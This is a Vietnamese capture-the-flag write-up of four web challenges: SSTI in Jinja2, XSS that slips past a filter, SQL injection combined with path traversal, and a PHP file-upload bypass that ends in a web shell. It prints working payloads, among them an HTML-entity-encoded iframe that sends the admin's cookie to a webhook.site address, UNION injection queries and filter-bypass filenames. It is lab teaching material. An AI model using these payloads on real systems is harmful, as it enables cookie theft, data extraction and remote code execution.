## **now you see me** Trang web cho phép em nhập vào một chuỗi bất kì và sẽ hiện ra chuỗi đó như sau: ![image](https://hackmd.io/_uploads/HypvCgha0.png) Em đoán ở đây có thể có xuất hiện SSTI, em thử xác nhận điều này bằng payload ${{<%[%'"}}%\ ![image](https://hackmd.io/_uploads/S1TKAgnaR.png) Tiếp theo em xác định template sử dụng cho trang web, em thử fuzzing một số payload SSTI: ```bash {{7*7}} {{7*'7'}} <%= 7 * 7 %> #{ 7 * 7 } ${3*3} ``` Em được kết quả như sau: ![image](https://hackmd.io/_uploads/B1XoCgna0.png) Em đoán ở đây có thể sử dụng một trong các template sau: Tornado (Python), Jinja2 (Python). Để ý tới payload {{foobar}}, trả về response sau: ![image](https://hackmd.io/_uploads/H1Ra0gn6C.png) ⇒ Xác định được template sử dụng ở đây là **Jinja2 (Python).** https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#jinja2-python Đến đây chỉ cần đọc **`/flag.txt`**: ![image](https://hackmd.io/_uploads/Hkb1ybhaR.png) ⇒ flag: KCSC{flagrandomngaunhienlagicungdu0c} ## **x ec ec** ```bash function getQueryParam(name) { const urlParams = new URLSearchParams(window.location.search); return urlParams.get(name); } function filterHTML(htmlContent) { _filters = ["script", "on", "javascript:"] _filters.forEach(_filter => { if (htmlContent.toLowerCase().includes(_filter)) { htmlContent = htmlContent.replace(new RegExp(_filter, 'gi'), ""); } }); return htmlContent; } function renderHTML(htmlContent) { const output = document.getElementById('output'); output.innerHTML = filterHTML(htmlContent); } document.addEventListener('DOMContentLoaded', () => { const userInput = getQueryParam('userInput'); if (userInput) { renderHTML(decodeURIComponent(userInput)); } const form = document.getElementById('renderForm'); form.addEventListener('submit', (event) => { event.preventDefault(); const userInput = document.getElementById('userInput').value; const encodedInput = encodeURIComponent(userInput); window.history.pushState({}, '', `?userInput=${encodedInput}`); renderHTML(userInput); }); }); ``` Đọc đoạn script trên em thấy em có thể nhập một chuỗi đầu vào thông qua url param, nhận thấy ở đây có xuất hiện XSS, vì là XSS nên impact có thể đạt được là chiếm cookie (thường flag sẽ giấu trong cookie) tuy nhiên một số ký tự thường dùng để tấn công XSS đã bị filter. ```bash function filterHTML(htmlContent) { _filters = ["script", "on", "javascript:"] _filters.forEach(_filter => { if (htmlContent.toLowerCase().includes(_filter)) { htmlContent = htmlContent.replace(new RegExp(_filter, 'gi'), ""); } }); return htmlContent; } ``` Nhận thấy input chỉ bị URI decode, sẽ ra sao nếu ta sử dụng HTML Entity Encode để có thể có thể bypass filter vì trình duyệt sẽ tự động decode các HTML Entity Encode trong attribute value. Ví dụ: ```bash <a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)">abc</a> hoàn toàn có thể bị trình duyệt decode lại thành <a href="javascript:alert(1)">abc</a> ``` ![image](https://hackmd.io/_uploads/Bke71-h6R.png) Thử trên server và hoàn toàn đúng. Sau đó, xây dựng payload để admin “bắn” cookie về cho webhook. ```bash <iframe src="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;locati&#111;n.href='https://webhook.site/#!/view/3c16867c-c546-4f99-aeb6-342c94c7886d?cookie='+document.cookie"></iframe> ``` Gửi payload cho admin ![image](https://hackmd.io/_uploads/HkFV1Z2pA.png) ![image](https://hackmd.io/_uploads/ryZBk-26C.png) ⇒ Thu được flag: flag=KCSC{XSS_s0_ez_c51242915de4a05d20ac3870c87a9da1} ## **KCSC x Jujutsu Kaisen** Bài cung cấp cho em source code. ![image](https://hackmd.io/_uploads/HJQEfb26C.png) Trước tiên em thấy trong file init.sql có xuất hiện fake flag ⇒ Em suy luận được vector bài này là SQL injection. Tuy nhiên nếu để ý ta thấy được sự xuất hiện của hàm **ENC_REDACTED**, **DECRYPT_REDACTED** trong file local và dialogue của toge chứa flag nhưng đã bị encrypt, muốn thu được flag, em cần tìm được key đúng để sử dụng hàm decrypt. Đọc file index.php, em nhận thấy truy vấn chưa được Prepared Statements mà là nối chuỗi với biến **$username** nên em có thể thực hiện exploit SQL injection tại đây. ![image](https://hackmd.io/_uploads/rJCLfWnTR.png) Mặt khác nhận thấy đoạn dưới có biến $dialogue chứa kết quả thực thi truy vấn trả về response ⇒ có thể tận dụng UNION để khai thác SQL injection. ![image](https://hackmd.io/_uploads/r1Z_zWhTC.png) Điều em cần hiện tại là key, để ý thấy trong file local có một biến $key_decrypt = "REDACTED" , cùng với sự xuất hiện của hàm file_get_contents(), em nghĩ đến việc path traversal để đọc file index.php . ![image](https://hackmd.io/_uploads/B1Itfb2T0.png) Đây giờ, em cần truyền vào $$imagePath$ sao cho giá trị hàm file_exists($imagePath) trả về True. Em nhận thấy biến $imagePath được xử lý như sau: ```bash $username = $_GET['username']; $imagePath = str_replace('./', '', "images/" . $username); ``` Hàm **`str_replace('./', '', "images/" . $username)`** sẽ thực hiện thay chuỗi **`./`** thành `` khi xét chuỗi **`"images/" . $username` .** Vậy em sẽ truyền vào biến **`$imagePath`** giá trị **`…//index.php`** thì **`$imagePath`** sẽ nhận giá trị **`/images/../index.php` .** ![image](https://hackmd.io/_uploads/H1Ok7b2p0.png) ![image](https://hackmd.io/_uploads/BJxl7Z36A.png) Em thu được key sau khi base64 decode. Key là **`$up3r_$3cr3t_4_$3cur3` .** Thực hiện SQL injection thu về tên các hàm trong database: ```sql gojo' UNION SELECT ROUTINE_NAME FROM information_schema.ROUTINES WHERE ROUTINE_TYPE = 'FUNCTION'-- -. ``` ![image](https://hackmd.io/_uploads/r17b7bn60.png) Thực hiện SQL injection thu về flag: ```sql gojo' UNION SELECT DECRYPT_DIALOGUE_xckQopBS4HrTe8b9(dialogue, '$up3r_$3cr3t_4_$3cur3') AS dialogue FROM users WHERE username = 'toge';-- -. ``` ![image](https://hackmd.io/_uploads/BJQGmWhTC.png) ⇒ flag: **`KCSC{https://www.youtube.com/watch?v=bX2dMtKEtdU#_p4km3QbeGVPZjrNoviGDQBSYdzeG1VCb}`** ## **easy-upload** ![image](https://hackmd.io/_uploads/SyAVXWhpA.png) Challenge có chức năng upload file được **viết bằng PHP**, tuy nhiên lại không biết được file được upload vào folder nào. Thử upload một file **.php** với nội dung: ```sql <?php phpinfo(); ?> ``` ![image](https://hackmd.io/_uploads/HJcIm-hpC.png) Em dự đoán có thể chuỗi .php có thể đã bị xóa hoặc bị nằm trong blacklist, để xác nhận điều này, em upload thử file .php.png ![image](https://hackmd.io/_uploads/BkGQ4Wha0.png) Nhận thấy chuỗi **php** trong filename đã bị xóa. Em đã cố gắng thử một số đuôi file khác như .phar và .phtml nhưng không được. Vậy để solve bài này em cần: - Bypass được extension file name. - Tìm ra được upload dir. Hint cho như sau: https://book.hacktricks.xyz/pentesting-web/file-upload ![image](https://hackmd.io/_uploads/rJXrNW2a0.png) ![image](https://hackmd.io/_uploads/SynB4bnpR.png) Kết hợp với việc chuỗi php bị xóa, em thử upload file với extension là .Pphphp ![image](https://hackmd.io/_uploads/By7D4Wna0.png) Và uploaded file là **nothing2.Php**. Vậy là có thể upload được file **.Php.** Vậy bước còn lại là tìm ra được upload directory. Ban đầu, em có thực hiện recon bằng gobuster nhưng chưa thu được upload directory. Vậy còn cách nào để tìm ra upload directory không? Nếu em trigger ra lỗi và trong lỗi có chứa upload directory thì em có thể tìm được upload directory? Mặt khác, nếu em upload một file với độ dài filename quá dài thì sẽ gây ra lỗi (hình như tầm quá 256 kí tự). ![image](https://hackmd.io/_uploads/BJm9EW2pC.png) Việc trigger lỗi đã làm lộ upload directory. Truy cập tới file nothing2.Php. ![image](https://hackmd.io/_uploads/ryFjEZ3TR.png) Upload shell: ![image](https://hackmd.io/_uploads/HyA2NZ3aA.png) Thực thi shell để lấy flag: ![image](https://hackmd.io/_uploads/r1bAE-3a0.png) ![image](https://hackmd.io/_uploads/S1I1SW260.png) ⇒ flag: KCSC{l000000000000n9_4ss_f1l3_n4m3_f0r_th3_3xpl01t}